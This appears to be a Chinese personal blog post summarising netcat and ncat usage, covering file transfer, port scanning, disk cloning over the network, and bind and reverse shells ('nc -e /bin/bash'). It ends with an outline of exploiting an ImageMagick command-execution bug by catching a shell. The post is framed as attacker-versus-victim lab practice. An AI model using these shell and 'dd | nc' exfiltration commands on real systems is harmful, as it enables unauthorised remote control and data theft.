MYZ's Blog.

NetCat用法总结

字数统计: 1k阅读时长: 4 min
2017/10/20 Share

用NC实现聊天:

两台主机:
主机A: 先侦听一个端口 nc -l -p 333 (使用 netstat -pantu | grep 333 查看端口是否处于监听状态)
主机B: nc -nv 192.168.248.129 333
之后就能愉快的聊天了

利用NC进行信息收集:

传输文件:

前提: 主机A (侦听端) 主机B (连接端)

将主机B的文件内容传输到主机A上

主机B:
命令: ls -l | nc -nv 192.168.248.129 333
或者指定输出文件: nc -nv 192.168.248.129 333 < a.txt -q 1
注:这里介绍一下管道符 ‘|’ :将符号前面的输出作为符号后面的输入
主机A:
命令:nc -l -p 333 > ps.txt
将获取的信息输出到ps.txt中

将主机A的文件内容传输到主机B上

现在从监听主机A 上传文件到 主机B 上
主机A:
nc -lp 333 < xx.mp4 -q 1 (谁来一连接这个端口,这个文件就会被传输,完成后延迟1s关闭连接)
主机B:
nc -nv 192.168.248.129 333 > gg.mp4 保存成gg.mp4

加密传文件:

A 接收端,B 发送端
B: mcry --flush -Fbq -a rijindael-256 -m ecb< a.mp4 | nc -nv 192.168.248.129 333 -q 1
A: nc-lp 333 | mcry --flush -Fbqd -a rijindael-256 -m ecb >1.mp4

mcry --flush -Fbqd -a rijindael-256 -m ecb 将文件解密
mcry --flush -Fbq -a rijindael-256 -m ecb 将文件加密
这个加密不是利用nc本身的功能,而是利用系统的加密方式(mcrypt默认是未安装的)

传输目录:

把目录打包成一个文件,然后以一个文件的方式传输
A: tar -cvf -music/ | nc -lp 333 -q 1
B: nc -nv 192.168.248.129 333| tar -xvf -
A将music目录下的文件打包作为nc -lp 333 -q 1的输入,B将nc -nv 192.168.248.129 333接受到的输出,作为tar -xvf -的输入.

NC作为端口扫描器

nc -nvz ip 1-65535 全端口扫描
nc -vnzu ip 1-1024

NC 远程克隆硬盘

B: dd if=/dev/sda | nc -nv ip 333 -q 1
A: nc -lp 333| dd of=/dev/sda

NC 远程控制(双向控制)

A作为攻击机 B作为被攻击的主机

正向:

A: nc 192.168.248.129 333
B: nc -lvvp 333 -e /bin/bash

反向:

A:nc -lvvp 333
B:nc 192.168.248.129 333 -e /bin/bash

总结:
这两种方式都能进行远程控制,不同的一点是利用场景:
当A为被攻击主机,B为远程主机时;
正向是通过B来连接A ,在一般情况下会被防火墙拦截(基本不允许外网的连接主动请求连接防火墙内的)
但是反向就不同,如果存在一个漏洞将nc 192.168.248.129 333 -c bash 命令执行了,那么就可以主动连接防火墙外的主机(这时是不会阻止的).我们仅仅只需要nc -lp 333监听到这个端口,等他主动来连就行了。
如果被攻击主机没有nc,直接wget 下载一个就行

wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
先解压 之后./configure 再make 编译

NCat的使用

nc 容易被人嗅探到。被还原出数据交换的内容。安全性较差.ncat弥补nc了缺乏加密能力和身份验证能力的不足.
ncat包含于nmap工具包中
A:侦听端(kali)(被攻击) B:攻击端(kali)
A:ncat -e /bin/bash --allow 198.168.248.1 -lvvp 333 --ssl
这段命令解释: -c bash he nc相同;–allow 只允许这一个ip连接; –ssl 以ssl方式加密
B: ncat -nv 198.168.1.155 333 --ssl 保证两边都使用加密的方式连接

Imagemagick命令执行漏洞利用过程

下面举一个例子:
分享一些相关链接:
https://joychou.org/web/ImageMagick-rce.html
这个链接是imagemagick命令执行漏洞的原理分析
http://bobao.360.cn/learning/detail/3616.html
这个讲的是,命令执行的原理

利用过程很简单:
将poc保存成图片
先nc -lvvp 666监听到端口
然后上传图片
接着观察监听的反应

下面是在本地的测试

CATALOG
  1. 1. 用NC实现聊天:
  2. 2. 利用NC进行信息收集:
    1. 2.1. 传输文件:
      1. 2.1.1. 将主机B的文件内容传输到主机A上
      2. 2.1.2. 将主机A的文件内容传输到主机B上
      3. 2.1.3. 加密传文件:
    2. 2.2. 传输目录:
  3. 3. NC作为端口扫描器
  4. 4. NC 远程克隆硬盘
  5. 5. NC 远程控制(双向控制)
    1. 5.1. 正向:
    2. 5.2. 反向:
  6. 6. NCat的使用
  7. 7. Imagemagick命令执行漏洞利用过程